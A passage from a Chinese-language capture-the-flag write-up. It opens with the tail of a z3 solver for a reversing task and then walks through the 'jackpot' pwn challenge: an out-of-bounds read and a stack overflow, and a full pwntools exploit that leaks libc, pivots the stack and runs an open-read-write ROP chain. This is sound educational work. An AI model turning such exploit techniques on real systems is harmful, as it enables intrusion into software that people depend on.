flag[34] + flag[15] flag[21] -= flag[13] + flag[42] flag[18] += flag[29] + flag[15] flag[4] += flag[7] + flag[25] flag[0] += flag[28] + flag[31] flag[2] += flag[34] + flag[25] flag[13] += flag[26] + flag[8] flag[41] -= flag[3] + flag[34] flag[37] += flag[27] + flag[18] flag[4] += flag[27] + flag[25] flag[23] += flag[30] + flag[39] flag[18] += flag[26] + flag[31] flag[10] -= flag[12] + flag[22] flag[4] += flag[6] + flag[22] flag[37] += flag[12] + flag[16] flag[15] += flag[40] + flag[8] flag[17] += flag[38] + flag[24] flag[8] += flag[14] + flag[16] flag[5] += flag[37] + flag[20] k_target =[ 0xA5, 0x98, 0xCC, 0x33, 0x76, 0x62, 0x33, 0x4B, 0xDD, 0x22, 0xA4, 0x55, 0x5F, 0xA7, 0x63, 0xE0, 0x1B, 0xBA, 0xB5, 0xCF, 0xFA, 0xB0, 0x6C, 0x8E, 0x38, 0x72, 0x5F, 0x2D, 0x37, 0x40, 0x49, 0x54, 0xAD, 0x65, 0x53, 0x24, 0x02, 0x79, 0x74, 0x60, 0x33, 0xCC, 0x7D ] for i in range(43): s.add(flag[i] == k_target[i]) print(s.check()) if s.check() == sat: m = s.model() print(m) y = [v.as_long() for k,v in sorted([(d, m[d]) for d in m], key = lambda x: int(x[0].name().split('_')[1]))] print(bytes(y)) ``` ![flag](https://hackmd.io/_uploads/SJm6zXnOa.png) `AIS3{Ar3_YoU_@_sTAtEful_Or_S7@T3LeS$_CtF3R}` ## Pwn ### jackpot ``` You need to be lucky to get jackpot! flag 在根目錄窩 Author: YingMuo http://chal1.eof.ais3.org:12000/ file: jackpot_release.zip ``` 以下是題目原始碼節錄 ```c struct sock_filter seccompfilter[]={ BPF_STMT(BPF_LD | BPF_W | BPF_ABS, ArchField), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), BPF_STMT(BPF_LD | BPF_W | BPF_ABS, SyscallNum), Allow(open), Allow(openat), Allow(read), Allow(write), Allow(close), Allow(readlink), Allow(getdents), Allow(getrandom), Allow(brk), Allow(rt_sigreturn), Allow(exit), Allow(exit_group), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), }; void jackpot() { puts("Here is your flag"); printf("%s\n", "flag{fake}"); } int main(void) { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); apply_seccomp(); char name[100]; unsigned long ticket_pool[0x10]; int number; setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); puts("Lottery!!"); printf("Give me your number: "); scanf("%d", &number); printf("Here is your ticket 0x%lx\n", ticket_pool[number]); printf("Sign your name: "); read(0, name, 0x100); if (ticket_pool[number] == jackpot) { puts("You get the jackpot!!"); jackpot(); } else puts("You get nothing QQ"); return 0; } ``` 首先可以看到該程式有設定 seccomp,基本上限制只能 orw 讀檔案,沒辦法開 shell 接著在主程式中可以看到首先會要求我們輸入一個號碼作為樂透,接著會印出該位置的 index 值,接著會要求我們輸入姓名之後去檢查該 index 值是否等於 `jackpot`,如果是的話就會執行 `jackpot` 印出假的 flag,不然就會印出 `You get nothing QQ` 以下是 Makefile,可以看到他沒有開 PIE 及 Canary ```makefile jackpot: jackpot.c gcc -no-pie -fno-stack-protector -o $@ $< ``` 我們可以從題目原始碼看出有幾個漏洞,首先他沒有檢查輸入 index 的範圍,代表我們有辦法做 OOB read,此外另一個很明顯的是在 `name` 的部分有一個 stack overflow 的漏洞,他只有 100 bytes 的空間卻可寫入 0x100 bytes (256 bytes),而另外實際上在 binary 中 `name` 的位置是在 `$rbp-0x70` 的位置開始,因此我們可以 overflow 1 個 rbp + 17 個 qword 雖然我們可以透過 oob read 去 leak 出 libc base,但是由於我們不能開 shell,因此我們必須使用 orw 讀檔案,而我初步寫的 orw rop chain 需要遠超於 17 個 qword 的大小,因此我們必須要做 stack pivoting 因此我們首先需要去 leak 出 libc base 以及 `name` 陣列的位置,而經過觀察 stack 上的資料我們可以找到對應的 offset 並取得相關的 leak,以下是解題腳本相關的部分 ```python conn.sendlineafter(b"number: ", str(0xf0 // 8 + 5).encode()) conn.recvuntil(b"0x") leak = conn.recvline().strip() leak = int(leak, 16) print(f"leak: {hex(leak)}") writebase = leak - 0x208 + 0x80 + 0x80 print(f"writebase: {hex(writebase)}") main = 0x401358 conn.sendlineafter(b"name: ", b"A"*0x70+ p64(writebase+0xf0-0x80) + p64(main)) conn.sendlineafter(b"number: ", str(3).encode()) conn.recvuntil(b"0x") leak = conn.recvline().strip() leak = int(leak, 16) print(f"leak: {hex(leak)}") libcbase = leak - 0x8cec3 print(f"libcbase: {hex(libcbase)}") ``` 為了避免因為在 leak 第二次時的 `main` 函式有一些 `libc` 函式會檢查 `rbp` 的值,因此這邊我是先 `leak` 出 stack 上的資料,並調整 `rbp` 成為一個合理的值,之後才能正常的跳回去執行 `main` 函式的部分,leak 出 libc base 而接著是主要的 exploit 部分,由於我的 orw rop chain 需要共 21 個 qword (每個項目各 7 個),不管是全塞在 `name` 或是 overflow 的 stack 部分都不夠放,因此我將功能切開來做,在 overflow 的 stack 區塊執行完 open 和 read 之後做一個 `leave` pivoting 到 `name` 陣列的位置,而 `name` 函式繼續執行剩下的 write rop chain,如此一來就能執行完 orw 了,另外我在 read 時拿到的 flag 的內容是放在 bss 區段上面,避免影響到 rop chain 的執行 以下是 exploit 的部分,相關的 gadget 使用 ROPgadget 工具找得 ```python bss = 0x404180 open = libcbase + 0x1142f0 read = libcbase + 0x1145e0 write = libcbase + 0x114680 pop_rdi = libcbase + 0x2a3e5 pop_rsi = libcbase + 0x2be51 pop_rdx = libcbase + 0x796a2 leave = 0x401438 payload = flat([ b"flag".ljust(0x8, b"\x00"), pop_rdi, 1, pop_rsi, bss, pop_rdx, 0x100, write ]) conn.sendlineafter(b"name: ", payload.ljust(0x70, b"\x00") + p64(writebase) + flat([ pop_rdi, writebase, pop_rsi, 0, pop_rdx, 0, open, pop_rdi, 3, pop_rsi, bss, pop_rdx, 0x100, read, leave ]) ) ``` 完整的 exploit 如下,執行完之後就能拿到 flag ```python from pwn import * binary = './jackpot_bin' context.terminal = ["cmd.exe", "/c", "start", "bash.exe", "-c"] context.log_level = "debug" context.binary = binary conn = remote("10.105.0.21", 12234) # conn = process(binary) # conn = gdb.debug(binary) conn.sendlineafter(b"number: ", str(0xf0 // 8 + 5).encode()) conn.recvuntil(b"0x") leak = conn.recvline().strip() leak = int(leak, 16) print(f"leak: {hex(leak)}") writebase = leak - 0x208 + 0x80 + 0x80 print(f"writebase: {hex(writebase)}") main = 0x401358 conn.sendlineafter(b"name: ", b"A"*0x70+ p64(writebase+0xf0-0x80) + p64(main)) conn.sendlineafter(b"number: ", str(3).encode()) conn.recvuntil(b"0x") leak = conn.recvline().strip() leak = int(leak, 16) print(f"leak: {hex(leak)}") libcbase = leak - 0x8cec3 print(f"libcbase: {hex(libcbase)}") # 0x000000000040101a : ret # [26] .bss NOBITS 0000000000404180 00005180 # 1591: 00000000001142f0 296 FUNC WEAK DEFAULT 15 open@@GLIBC_2.2.5 # 289: 00000000001145e0 157 FUNC GLOBAL DEFAULT 15 read@@GLIBC_2.2.5 # 409: 0000000000114680 157 FUNC WEAK DEFAULT 15 write@@GLIBC_2.2.5 # 0x000000000002a3e5 : pop rdi ; ret # 0x000000000002be51 : pop rsi ; ret # 0x00000000000796a2 : pop rdx ; ret # 0x00000000000bfc63 : mov qword ptr [rdi], rdx ; ret # 0x000000000003d1ee : pop rcx ; ret # 0x0000000000401438 : leave ; ret bss = 0x404180 open = libcbase + 0x1142f0 read = libcbase + 0x1145e0 write = libcbase + 0x114680 pop_rdi = libcbase + 0x2a3e5 pop_rsi = libcbase + 0x2be51 pop_rdx = libcbase + 0x796a2 leave = 0x401438 payload = flat([ b"flag".ljust(0x8, b"\x00"), pop_rdi, 1, pop_rsi, bss, pop_rdx, 0x100, write ]) conn.sendlineafter(b"name: ", payload.ljust(0x70, b"\x00") + p64(writebase) + flat([ pop_rdi, writebase, pop_rsi, 0, pop_rdx, 0, open, pop_rdi, 3, pop_rsi, bss, pop_rdx, 0x100, read, leave ]) ) conn.interactive() ``` ![flag](https://hackmd.io/_uploads/Sk11XQ3Oa.png) `AIS3{JU5T_a_eA5y_INT_0VeRfloW_4nD_BUf_ovErfL0W}` 話說雖然出題者說 flag 在根目錄下,但我是直接去讀取當前目錄的 `flag` 檔案,不知道為什麼這樣拿到的 flag 也是正確的就是了 🤔